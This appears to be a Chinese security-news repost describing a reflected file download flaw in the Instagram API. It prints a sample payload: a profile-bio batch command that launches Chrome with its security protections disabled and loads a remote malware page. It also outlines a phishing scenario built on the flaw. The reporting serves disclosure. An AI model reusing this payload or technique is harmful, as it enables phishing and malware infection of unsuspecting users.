利用Instagram API制造“以假乱真”的恶意分享链接


发布人:admin分类:网络安全浏览量:30发布时间:2017-12-12

安全研究人员最近发现了一种利用Instagram API形成的恶意分享链接,由于这个链接指向Instagram域名,所以很容易被用户相信并下载。如果在钓鱼攻击中利用该漏洞,可以极大地提高攻击效率。

漏洞详情

这个RFD(反射型文件名下载)漏洞存在Instagram API中。通过篡改任何用户账号的访问令牌并使用一些技巧,攻击者可以创建一个恶意文件下载链接。同时由于这个链接指向Instagram域名上的合法资源,所以很难被用户觉察。

“我在Instagram API上发现了一个RFD(反射型文件名下载),不需要向URL上添加任何指令,因为我们可以使用一个持久型反射域来实现它,例如用户账号上的“Bio”域。

那么,我们需要什么呢?仅仅需要一个令牌。不过不用担心,我们只需注册一个新的账号就能得到一个令牌。下一步,插入我们想在用户账号的“Bio”域(或其他域)中使用的批处理指令。接着,我将尝试用Chrome浏览器打开一个包含恶意代码的新页面,该恶意页面可以禁用该浏览器中的大多数保护机制。”

为了构建“反射型部分”,Sopas在用户账号的“Bio”域中插入了一个批处理指令,并解释说插入到其他域也可以实现同样的功能。然后,他用Chrome浏览器打开一个包含恶意代码的新页面,该恶意页面可以禁用浏览器中的大多数保护机制。

通过分析了用户的Instagram JSON文件,然后通过修改JSON文件来实现“文件名部分”:

 https://api.instagram.com/v1/users/1750545056?access_token=339779002.4538cdb.fad79bd258364f4992156372fd01069a
 
{“meta”:{“code”:200},”data”:{“username”:”davidsopas”,”bio”:”\”||start chrome websegura.net\/malware.htm –disable-web-security –disable-popup-blocking||”,”website”:”http:\/\/websegura.net”,”profile_picture”:”https:\/\/igcdn-photos-f-a.akamaihd.net\/hphotos-ak-xaf1\/t51.2885-19\/11055505_1374264689564237_952365304_a.jpg”,”full_name”:”David Sopas”,”counts”:{“media”:0,”followed_by”:11,”follows”:3},”id”:”1750545056″}}

由于“文件名部分”的限制,这种附加方法只能在特定的浏览器中正常工作,这些浏览器包括Chrome、Opera、Chrome安卓版、安卓stock浏览器和火狐浏览器。

攻击演示视频

在他的攻击中,Sopas使用了一个特定的文件名,他创建的完整链接可以被发送到受害者的Instagram消息中。

下面的视频演示了该攻击的PoC:

Sopas假设了以下可能的攻击场景:

1、恶意用户向他所有的Instagram好友发送一条消息,其中包含一个指向恶意页面的链接。
2、受害者点击链接,检查并发现该文件存储在Instagram服务器,下载并运行它。
3、受害者感染恶意软件。

[参考来源securityaffairs,有适当修改,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)]


被黑站点统计 - 文章版权1、本主题所有言论和图片纯属会员个人意见,与本文章立场无关
2、本站所有主题由该文章作者发表,该文章作者与被黑站点统计享有文章相关版权
3、其他单位或个人使用、转载或引用本文时必须同时征得该文章作者和被黑站点统计的同意
4、文章作者须承担一切因本文发表而直接或间接导致的民事或刑事法律责任
5、本帖部分内容转载自其它媒体,但并不代表本站赞同其观点和对其真实性负责
6、如本帖侵犯到任何版权问题,请立即告知本站,本站将及时予与删除并致以最深的歉意
7、被黑站点统计管理员有权不事先通知发贴者而删除本文

免责声明

本站主要通过网络搜集国内被黑网站信息,统计分析数据,为部署安全型网络提供强有力的依据.本站所有工作人员均不参与黑站,挂马或赢利性行为,所有数据均为网民提供,提交者不一定是黑站人,所有提交采取不记名,先提交先审核的方式,如有任何疑问请及时与我们联系.

admin  的文章


微信公众号

微信公众号


Copyright © 2012-2022被黑网站统计系统All Rights Reserved
页面总访问量:21460277(PV) 页面执行时间:90.912(MS)
  • xml
  • 网站地图